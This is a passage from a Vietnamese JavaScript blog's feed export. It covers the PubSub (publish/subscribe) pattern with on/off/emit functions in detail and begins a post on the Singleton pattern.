3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham khảo</h2> <ul> <li><a href="https://medium.com/@saginadir/native-function-chaining-in-javascript-what-we-can-learn-from-jquery-3b42d5d4a0d">Native Function Chaining in JavaScript. What We Can Learn From jQuery</a></li> <li><a href="https://medium.com/tiny-code-lessons/javascript-cascade-design-pattern-990b1a761ff4">Javascript Cascade Design Pattern</a></li> <li><a href="http://javascriptissexy.com/beautiful-javascript-easily-create-chainable-cascading-methods-for-expressiveness/">Beautiful JavaScript: Easily Create Chainable (Cascading) Methods for Expressiveness</a></li> </ul>[email protected]<![CDATA[JS Pattern #4 - PubSub Pattern]]><![CDATA[JavaScript PubSub Pattern, hay Publish / Subscribe Pattern, hay Events Pattern, là một loại JavaScript Design Pattern rất hữu dụng và khá phổ biến, được sử dụng trong rất nhiều thư…]]>https://completejavascript.com/js-pattern-4-pubsub-pattern/https://completejavascript.com/js-pattern-4-pubsub-pattern/<![CDATA[Event]]><![CDATA[IIFE]]><![CDATA[Design Pattern]]>Sat, 03 Feb 2018 00:00:47 GMT<p>JavaScript PubSub Pattern, hay Publish / Subscribe Pattern, hay Events Pattern, là một loại JavaScript Design Pattern rất hữu dụng và khá phổ biến, được sử dụng trong rất nhiều thư viện JavaScript. Sau đây là một cách triển khai Pubsub Pattern cực kỳ ngắn gọn và dễ hiểu.</p> <h2 id="triển-khai-pubsub-pattern" style="position:relative;"><a href="#tri%E1%BB%83n-khai-pubsub-pattern" aria-label="triển khai pubsub pattern permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Triển khai PubSub Pattern</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> Events <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">let</span> events <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">on</span><span class="token punctuation">(</span><span class="token parameter">eventName<span class="token punctuation">,</span> fn</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> events<span class="token punctuation">[</span>eventName<span class="token punctuation">]</span> <span class="token operator">=</span> events<span class="token punctuation">[</span>eventName<span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> events<span class="token punctuation">[</span>eventName<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>fn<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">off</span><span class="token punctuation">(</span><span class="token parameter">eventName<span class="token punctuation">,</span> fn</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>events<span class="token punctuation">[</span>eventName<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> events<span class="token punctuation">[</span>eventName<span class="token punctuation">]</span><span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>events<span class="token punctuation">[</span>eventName<span class="token punctuation">]</span><span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">===</span> fn<span class="token punctuation">)</span> <span class="token punctuation">{</span> events<span class="token punctuation">[</span>eventName<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">splice</span><span class="token punctuation">(</span>i<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">function</span> <span class="token function">emit</span><span class="token punctuation">(</span><span class="token parameter">eventName<span class="token punctuation">,</span> data</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>events<span class="token punctuation">[</span>eventName<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> events<span class="token punctuation">[</span>eventName<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">fn</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">fn</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token literal-property property">on</span><span class="token operator">:</span> on<span class="token punctuation">,</span> <span class="token literal-property property">off</span><span class="token operator">:</span> off<span class="token punctuation">,</span> <span class="token literal-property property">emit</span><span class="token operator">:</span> emit<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trước tiên, bạn thấy rằng cách triển khai pattern này sử dụng <a href="/js-pattern-2-module-pattern/">Revealing Module Pattern</a>, với 3 <a href="/ham-la-gi-ham-trong-javascript/">function</a> được public là: <strong>on</strong>, <strong>off</strong> và <strong>emit</strong>.</p> <h3 id="đăng-ký-sự-kiện-với-hàm-on" style="position:relative;"><a href="#%C4%91%C4%83ng-k%C3%BD-s%E1%BB%B1-ki%E1%BB%87n-v%E1%BB%9Bi-h%C3%A0m-on" aria-label="đăng ký sự kiện với hàm on permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đăng ký sự kiện với hàm on</h3> <p>Hàm <strong>on</strong> có 2 tham số đầu vào:</p> <ul> <li><strong>eventName</strong>: tên sự kiện</li> <li><strong>fn</strong>: hàm xử lý sự kiện tương ứng.</li> </ul> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Events<span class="token punctuation">.</span><span class="token function">on</span><span class="token punctuation">(</span><span class="token string">"addItem"</span><span class="token punctuation">,</span> onItemAdded<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Câu lệnh trên hiểu đơn giản là: khi có sự kiện <strong>addItem</strong> xảy ra thì sẽ gọi hàm <strong>onItemAdded</strong>.</p> <h4 id="giải-thích-cách-triển-khai" style="position:relative;"><a href="#gi%E1%BA%A3i-th%C3%ADch-c%C3%A1ch-tri%E1%BB%83n-khai" aria-label="giải thích cách triển khai permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giải thích cách triển khai</h4> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> events <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">on</span><span class="token punctuation">(</span><span class="token parameter">eventName<span class="token punctuation">,</span> fn</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> events<span class="token punctuation">[</span>eventName<span class="token punctuation">]</span> <span class="token operator">=</span> events<span class="token punctuation">[</span>eventName<span class="token punctuation">]</span> <span class="token operator">||</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> events<span class="token punctuation">[</span>eventName<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>fn<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Bạn có thể thấy rằng, <strong>events</strong> là một <a href="/object-la-gi-object-trong-javascript/">object</a> rỗng. Sau này, mỗi thuộc tính (key) của events sẽ là tên của event được đăng ký. Giá trị của thuộc tính (value) là một <a href="/array-la-gi-array-trong-javascript/">mảng</a> của các function.</p> <p>Ban đầu events[eventName] sẽ là <strong>undefined</strong>, nên ta sẽ khởi tạoevents[eventName] = [] - là một mảng rỗng. Ngược lại, khi thành phần này đã tồn tại thì chỉ cần <a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/push">push</a> hàm số mới vào mảng.</p> <p>Đối với ví dụ trên, events["addItem"] = [onItemAdded].</p> <p>Giả sử, có 2 module khác cũng đăng ký sự kiện addItem:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Events<span class="token punctuation">.</span><span class="token function">on</span><span class="token punctuation">(</span><span class="token string">"addItem"</span><span class="token punctuation">,</span> updateItem1<span class="token punctuation">)</span><span class="token punctuation">;</span> Events<span class="token punctuation">.</span><span class="token function">on</span><span class="token punctuation">(</span><span class="token string">"addItem"</span><span class="token punctuation">,</span> updateItem2<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Lúc này, events["addItem"] = [onItemAdded, updateItem1, updateItem2].</p> <h3 id="hủy-đăng-ký-sự-kiện-với-hàm-off" style="position:relative;"><a href="#h%E1%BB%A7y-%C4%91%C4%83ng-k%C3%BD-s%E1%BB%B1-ki%E1%BB%87n-v%E1%BB%9Bi-h%C3%A0m-off" aria-label="hủy đăng ký sự kiện với hàm off permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hủy đăng ký sự kiện với hàm off</h3> <p>Hàm <strong>off</strong> có 2 tham số đầu vào:</p> <ul> <li><strong>eventName</strong>: tên sự kiện</li> <li><strong>fn</strong>: hàm đã đăng ký sự kiện, cần hủy đăng ký</li> </ul> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Events<span class="token punctuation">.</span><span class="token function">off</span><span class="token punctuation">(</span><span class="token string">"addItem"</span><span class="token punctuation">,</span> onItemAdded<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Câu lệnh trên sẽ bỏ đăng ký sự kiện <strong>addItem</strong> với hàm <strong>onItemAdded</strong>. Hay nói cách khác, khi có sự kiện này xảy ra thì sẽ không gọi hàm onItemAdded nữa.</p> <h4 id="giải-thích-cách-triển-khai-1" style="position:relative;"><a href="#gi%E1%BA%A3i-th%C3%ADch-c%C3%A1ch-tri%E1%BB%83n-khai-1" aria-label="giải thích cách triển khai 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giải thích cách triển khai</h4> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">off</span><span class="token punctuation">(</span><span class="token parameter">eventName<span class="token punctuation">,</span> fn</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>events<span class="token punctuation">[</span>eventName<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> events<span class="token punctuation">[</span>eventName<span class="token punctuation">]</span><span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>events<span class="token punctuation">[</span>eventName<span class="token punctuation">]</span><span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">===</span> fn<span class="token punctuation">)</span> <span class="token punctuation">{</span> events<span class="token punctuation">[</span>eventName<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">splice</span><span class="token punctuation">(</span>i<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">break</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Hàm số này sẽ duyệt mảng ứng với <strong>eventName</strong> và kiểm tra tất cả các hàm số thành phần trong mảng đó. Nếu gặp hàm số nào trùng với hàm số cần bỏ đăng ký thì sẽ bỏ hàm số đó ra khỏi mảng thông qua hàm <a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/splice">splice</a>.</p> <p>Đối với ví dụ trên, hàm số onItemAdded sẽ bị loại bỏ khỏi mảng events["addItem"]. Do đó, kết quả là events["addItem"] = [updateItem1, updateItem2].</p> <h3 id="kích-hoạt-sự-kiện-với-hàm-emit" style="position:relative;"><a href="#k%C3%ADch-ho%E1%BA%A1t-s%E1%BB%B1-ki%E1%BB%87n-v%E1%BB%9Bi-h%C3%A0m-emit" aria-label="kích hoạt sự kiện với hàm emit permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kích hoạt sự kiện với hàm emit</h3> <p>Hàm <strong>emit</strong> có 2 tham số:</p> <ul> <li><strong>eventName</strong>: tên sự kiện</li> <li><strong>data</strong>: dữ liệu truyền cho các hàm đã đăng ký sự kiện, trong đó, data có thể là tất cả các kiểu dữ liệu: <a href="/kieu-du-lieu-trong-javascript/">number</a>, array, string hay object,...</li> </ul> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Events<span class="token punctuation">.</span><span class="token function">emit</span><span class="token punctuation">(</span><span class="token string">"addItem"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"apple"</span><span class="token punctuation">,</span> <span class="token literal-property property">quantity</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Câu lệnh trên kích hoạt sự kiện addItem. Khi đó, tất cả những hàm số nào đã được đăng ký sự kiện với hàm <strong>Events.on</strong> ở trên, sẽ được gọi, với đối số là object <strong>{name: "apple", quantity: 2}</strong>;</p> <h4 id="giải-thích-cách-triển-khai-2" style="position:relative;"><a href="#gi%E1%BA%A3i-th%C3%ADch-c%C3%A1ch-tri%E1%BB%83n-khai-2" aria-label="giải thích cách triển khai 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giải thích cách triển khai</h4> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">emit</span><span class="token punctuation">(</span><span class="token parameter">eventName<span class="token punctuation">,</span> data</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>events<span class="token punctuation">[</span>eventName<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> events<span class="token punctuation">[</span>eventName<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">fn</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">fn</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Hàm này sẽ duyệt toàn bộ mảng ứng với <strong>eventName</strong> sử dụng phương thức <a href="/javascript-foreach-la-cai-quai-gi/">forEach</a>. Sau đó, mỗi hàm số trong mảng sẽ được gọi và truyền vào đối số là data.</p> <p>Trong ví dụ trên, events["addItem"] = [updateItem1, updateItem2]. Do đó, khi event addItem được kích hoạt, hàm số updateItem1({ name : "apple", quantity: 2 }) và updateItem2({ name : "apple", quantity: 2 }) sẽ được thực hiện.</p> <h2 id="ví-dụ-sử-dụng-pubsub-pattern" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-s%E1%BB%AD-d%E1%BB%A5ng-pubsub-pattern" aria-label="ví dụ sử dụng pubsub pattern permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ sử dụng Pubsub Pattern</h2> <p><a href="https://codepen.io/completejavascript/pen/MVXWWY"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/MVXWWY/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <p>Trong đó, module A sẽ thực hiện <strong>addItem</strong> và kích hoạt sự kiện. Và module B, module C sẽ đăng kí sự kiện addItem và với hàm số thực thi là <strong>onAddingItem</strong>.</p> <p><strong>Chú ý</strong>:</p> <ul> <li>Module B và module C đều đăng ký sự kiện với hàm số có cùng tên là onAddingItem. Nhưng thực tế là chúng khác nhau vì 2 hàm này nằm ở module khác nhau, phạm vi biến sẽ khác nhau.</li> <li>Trong ví dụ này, các module đều đặt trong cùng 1 file, tuy nhiên bạn có thể đặt mỗi module tách riêng ra các file khác nhau.</li> </ul> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là cách triển khai PubSub Pattern và ví dụ đơn giản mô tả cách áp dụng pattern này. Nếu có phần nào mình giải thích chưa được rõ thì các bạn cứ đặt câu hỏi thoải mái nhé.</p> <p>Xin chào và hẹn gặp lại bạn ở bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[JS Pattern #3 - Singleton Pattern]]><![CDATA[Có thể bạn đã nghe quen về Singleton. Singleton Pattern giới hạn số lượng instance của một class là một. Trong JavaScript, bạn có thể triển khai Singleton Pattern theo cách sau…]]>https://completejavascript.com/js-pattern-3-singleton-pattern/https://completejavascript.com/js-pattern-3-singleton-pattern/<![CDATA[IIFE]]><![CDATA[Design Pattern]]>Fri, 02 Feb 2018 00:00:37 GMT<p>Có thể bạn đã nghe quen về Singleton. Singleton Pattern giới hạn số lượng instance của một class là <strong>một</strong>. Trong JavaScript, bạn có thể triển khai Singleton Pattern theo cách sau.</p> <h2 id="singleton-pattern-cơ-bản" style="position:relative;"><a href="#singleton-pattern-c%C6%A1-b%E1%BA%A3n" aria-label="singleton pattern cơ bản permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Singleton Pattern cơ bản</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> mySingleton <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> instance<span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">init</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> number <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token function-variable function">setNumber</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> number <span class="token operator">=</span> x<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token function-variable function">getNumber</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> number<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token function-variable function">getInstance</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>instance<span class="token punctuation">)</span> instance <span class="token operator">=</span> <span class="token function">init</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> instance<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> instA <span class="token operator">=</span> mySingleton<span class="token punctuation">.</span><span class="token function">getInstance</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"instance A: "</span><span class="token punctuation">,</span> instA<span class="token punctuation">.</span><span class="token function">getNumber</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// instance A: 0</span> instA<span class="token punctuation">.</span><span class="token function">setNumber</span><span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"instance A: "</span><span class="token punctuation">,</span> instA<span class="token punctuation">.</span><span class="token function">getNumber</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// instance A: 10</span> <span class="token keyword">var</span> instB <span class="token operator">=</span> mySingleton<span class="token punctuation">.</span><span class="token function">getInstance</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"instance B: "</span><span class="token punctuation">,</span> instB<span class="token punctuation">.</span><span class="token function">getNumber</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// instance B: 10</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>instA <span class="token operator">===</span> instB<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <h3 id="giải-thích" style="position:relative;"><a href="#gi%E1%BA%A3i-th%C3%ADch" aria-label="giải thích permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 